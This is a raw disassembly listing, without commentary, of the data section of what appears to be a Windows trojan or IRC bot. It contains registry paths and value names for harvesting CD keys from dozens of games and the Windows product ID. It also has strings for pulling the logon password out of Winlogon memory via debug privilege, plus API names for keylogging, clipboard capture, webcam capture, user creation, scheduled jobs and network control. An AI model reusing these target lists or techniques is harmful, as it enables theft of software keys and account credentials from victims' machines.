; ---------------------------------------------------------------------------
dword_42B8A0	dd 2 dup(0)		; DATA XREF: sub_408C26+26o
		dd 80000001h, 42CA28h, 42CA1Ch,	42CA0Ch, 2 dup(0)
		dd 80000001h, 42C9ECh, 42C9E8h,	42C9D4h, 2 dup(0)
		dd 80000001h, 42C9B0h, 42C9E8h,	42C9A4h, 2 dup(0)
		dd 80000001h, 42C980h, 42C978h,	42C964h, 2 dup(0)
		dd 80000001h, 42C950h, 42C940h,	42C924h, 2 dup(0)
		dd 80000001h, 42C8E0h, 42CA68h,	42C8CCh, 2 dup(0)
		dd 80000002h, 42C8A0h, 42C894h,	42C874h, 2 dup(0)
		dd 80000002h, 42C840h, 42CA68h,	42C828h, 2 dup(0)
		dd 80000002h, 42C7F4h, 42CA68h,	42C7DCh, 2 dup(0)
		dd 80000002h, 42C7C4h, 42CA68h,	42C7ACh, 2 dup(0)
		dd 80000002h, 42C770h, 43C80Ch,	42C760h, 2 dup(0)
		dd 80000002h, 42C728h, 43C80Ch,	42C714h, 2 dup(0)
		dd 80000002h, 42C6C8h, 43C80Ch,	42C6A8h, 2 dup(0)
		dd 80000002h, 42C658h, 43C80Ch,	42C62Ch, 2 dup(0)
		dd 80000002h, 42C5F0h, 43C80Ch,	42C5DCh, 2 dup(0)
		dd 80000002h, 42C5A4h, 43C80Ch,	42C594h, 2 dup(0)
		dd 80000002h, 42C544h, 43C80Ch,	42C518h, 2 dup(0)
		dd 80000002h, 42C4D8h, 43C80Ch,	42C4BCh, 2 dup(0)
		dd 80000002h, 42C48Ch, 43C80Ch,	42C46Ch, 2 dup(0)
		dd 80000002h, 42C430h, 43C80Ch,	42C41Ch, 2 dup(0)
		dd 80000002h, 42C3D4h, 43C80Ch,	42C3B4h, 2 dup(0)
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	byte_42C360[eax], al
		or	al, 0C8h
		inc	ebx
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		dw 42h
		dd 2 dup(0)
		dd 80000002h, 42C2E0h, 43C80Ch,	42C2B4h, 2 dup(0)
		dd 80000002h, 42C274h, 42C26Ch,	42C24Ch, 2 dup(0)
		dd 80000002h, 42C208h, 43C80Ch,	42C1ECh, 2 dup(0)
		dd 80000002h, 42C1A0h, 43C80Ch,	42C17Ch, 2 dup(0)
		dd 80000002h, 42C148h, 43C80Ch,	42C13Ch, 2 dup(0)
		dd 80000002h, 42C108h, 43C80Ch,	42C0FCh, 2 dup(0)
		dd 80000002h, 42C0C8h, 43C80Ch,	42C0BCh, 2 dup(0)
		dd 80000002h, 42C088h, 43C80Ch,	42C07Ch, 2 dup(0)
		dd 80000002h, 42C040h, 43C80Ch,	42C02Ch, 2 dup(0)
		dd 80000002h, 42BFF0h, 43C80Ch,	42BFDCh, 2 dup(0)
		dd 80000002h, 42BFACh, 42CA68h,	42BF90h, 2 dup(0)
		dd 80000002h, 42BF70h, 42BF68h,	42BF44h, 2 dup(0)
		dd 80000002h, 42BF28h, 42BF68h,	42BF08h, 2 dup(0)
		dd 80000002h, 42BEE8h, 42BF68h,	42BEC4h, 2 dup(0)
		dd 80000002h, 42BEACh, 42BF68h,	42BEA8h, 2 dup(0)
		dd 80000002h, 42BE8Ch, 42BE7Ch,	42BE74h, 2 dup(0)
		dd 80000002h, 42BE40h, 42BE3Ch,	42BE24h, 2 dup(0)
		dd 80000002h, 42BDE8h, 42BDDCh,	42BDB4h, 42BDA4h, 42BD90h
		dd 80000002h, 42BD6Ch, 42BD60h,	42BD4Ch, 42BD3Ch, 42BD34h
		dd 80000002h, 42BD6Ch, 42BD60h,	42BD08h, 42BD3Ch, 42BD00h
		dd 80000002h, 42BD6Ch, 42BD60h,	42BCD0h, 42BD3Ch, 42BCC8h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
aKey		db 'key',0              ; DATA XREF: ___:004312F0o
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 10h
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 10h
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 10h
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 10h
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 10h
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 10h
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 10h
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 10h
byte_42C360	db 53h			; DATA XREF: ___:0042BAA2w
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 10h
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 10h
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 10h
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 10h
aCustomernumber	db 'CustomerNumber',0
		align 10h
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 10h
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 10h
aCounterStrikeR	db 'Counter-Strike (Retail)',0
aCdkey		db 'CDKey',0
		align 10h
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_42B894o
		align 4
asc_42CA98:				; DATA XREF: sub_408C26+E9o
					; sub_408C26+F4o
		unicode	0, <=>,0
aR:					; DATA XREF: sub_408C26+8Fo
					; sub_40EE72:loc_413643o
		unicode	0, <r>,0
aSS_3		db '%s\%s',0            ; DATA XREF: sub_408C26+7Eo
					; sub_408EE5+45o ...
		align 4
aSCdKeyS_	db '%s CD Key: (%s).',0 ; DATA XREF: sub_408C26+2Bo
		align 4
unk_42CABC	db    2			; DATA XREF: sub_408DCA+C8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesFoundD_	db '  Files found: %d.',0
unk_42CAEC	db    2			; DATA XREF: sub_408DCA+5Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForFi	db '  Searching for file: %s.',0
		align 4
aFoundSS	db ' Found: %s\%s',0    ; DATA XREF: sub_408EE5+107o
		align 4
aS_3		db '%s\*',0             ; DATA XREF: sub_408EE5+1Ao
		align 4
unk_42CB3C	db    2			; DATA XREF: sub_409037:loc_4091B0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToEnable	db '   Failed to enable Debug Privilege.',0
		align 10h
unk_42CB80	db    2			; DATA XREF: sub_409037:loc_409183o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToFindWi	db '   Unable to find Winlogon Process ID.',0
unk_42CBC4	db    2			; DATA XREF: sub_409037:loc_40917Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToFindTh	db '   Unable to find the password in memory.',0
		align 4
unk_42CC0C	db    2			; DATA XREF: sub_409037+117o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLogo	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/(no password)).',0
		align 4
off_42CC84	dd offset byte_530055	; DATA XREF: sub_409037+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004B+2
		dd offset a?baSDaziU4csiX ; "?B(֜S}z\x1BU4>]"
		dd 0
off_42CC9C	dd offset byte_530055	; DATA XREF: sub_409037+CEo
		dd offset byte_520045
		dd offset loc_41004B+3
		dd offset byte_45004D
		align 10h
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_409037+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_409037+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_409037+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_409037+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_409037+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_409037+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_409037+40o
					; sub_409037+161o ...
		align 10h
unk_42CD60	db    2			; DATA XREF: sub_409037+35o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aOnlySupportedO	db '   Only supported on Windows NT/2000.',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_409209+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_409209+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_409209+AFo
		align 10h
unk_42CDC0	db    2			; DATA XREF: sub_40966F+70o
					; sub_409706+C7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLo_0	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/%S).',0
		align 4
unk_42CE2C	db    2			; DATA XREF: sub_409706+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLo_1	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/(N/A)).',0
		align 4
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40981F+C50o
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40981F+C48o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_40981F:loc_40A45Ao
		align 10h
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_40981F+BE6o
		align 10h
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_40981F+BD9o
		align 10h
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_40981F+BCCo
		align 10h
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_40981F+BBFo
		align 10h
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_40981F+BB2o
		align 10h
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_40981F+BAAo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_40981F:loc_40A3BCo
		align 10h
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_40981F+B68o
		align 10h
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_40981F+B60o
		align 10h
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_40981F:loc_40A372o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40981F+B0Eo
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40981F+B01o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_40981F+AF4o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_40981F+AECo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_40981F:loc_40A2FEo
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40981F+AAAo
		align 10h
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_40981F+AA2o
		align 10h
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_40981F:loc_40A2B4o
		align 10h
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40981F+A60o
		align 10h
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40981F+A58o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_40981F:loc_40A26Ao
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_40981F+9CEo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_40981F+9C1o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_40981F+9B4o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_40981F+9A7o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_40981F+99Ao
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_40981F+98Do
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_40981F+980o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40981F+973o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_40981F+966o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_40981F+959o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_40981F+951o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_40981F:loc_40A15Fo
		align 10h
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_40981F+903o
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_40981F+8F6o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_40981F+8EEo
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_40981F:loc_40A100o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40981F+8B4o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_40981F+842o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_40981F+835o
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_40981F+828o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_40981F+81Bo
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_40981F+80Eo
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_40981F+801o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_40981F+7F4o
		align 10h
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_40981F+7E7o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40981F+7DAo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_40981F+7D2o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_40981F:loc_409FE0o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_40981F+688o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_40981F+67Bo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_40981F+66Eo
		align 10h
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_40981F+661o
		align 10h
aGethostname	db 'gethostname',0      ; DATA XREF: sub_40981F+654o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_40981F+647o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_40981F+63Ao
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_40981F+62Do
					; ___:0042FA44o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_40981F+620o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_40981F+613o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_40981F+60Bo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_40981F+5F9o
		align 10h
aRecv		db 'recv',0             ; DATA XREF: sub_40981F+5ECo
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_40981F+5DFo
		align 10h
aSend		db 'send',0             ; DATA XREF: sub_40981F+5D2o
					; sub_40EE72+220Do
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_40981F+5C5o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_40981F+5B8o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_40981F+5ABo
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_40981F+59Eo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_40981F+591o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_40981F+584o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_40981F+577o
					; ___:0042FE54o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_40981F+56Ao
aSocket		db 'socket',0           ; DATA XREF: sub_40981F+55Do
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_40981F+550o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_40981F+543o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_40981F+536o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_40981F+529o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_40981F+51Co
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_40981F+50Fo
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_40981F+507o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_40981F+4F6o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_40981F+483o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_40981F+476o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_40981F+469o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_40981F+45Co
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_40981F+44Fo
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_40981F+442o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_40981F+435o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_40981F+428o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_40981F+420o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_40981F:loc_409C2Eo
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_40981F:loc_409C06o
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40981F+38Fo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_40981F+382o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_40981F+375o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_40981F+368o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_40981F+35Bo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_40981F+34Eo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_40981F+341o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_40981F:loc_409B58o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40981F+309o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40981F+2FCo
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_40981F:loc_409B13o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_40981F+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_40981F+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_40981F+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_40981F+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_40981F+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_40981F+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_40981F:loc_409A7Eo
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_40981F+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_40981F+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_40981F+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_40981F:loc_409A17o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_40981F+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_40981F+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_40981F+186o
		align 10h
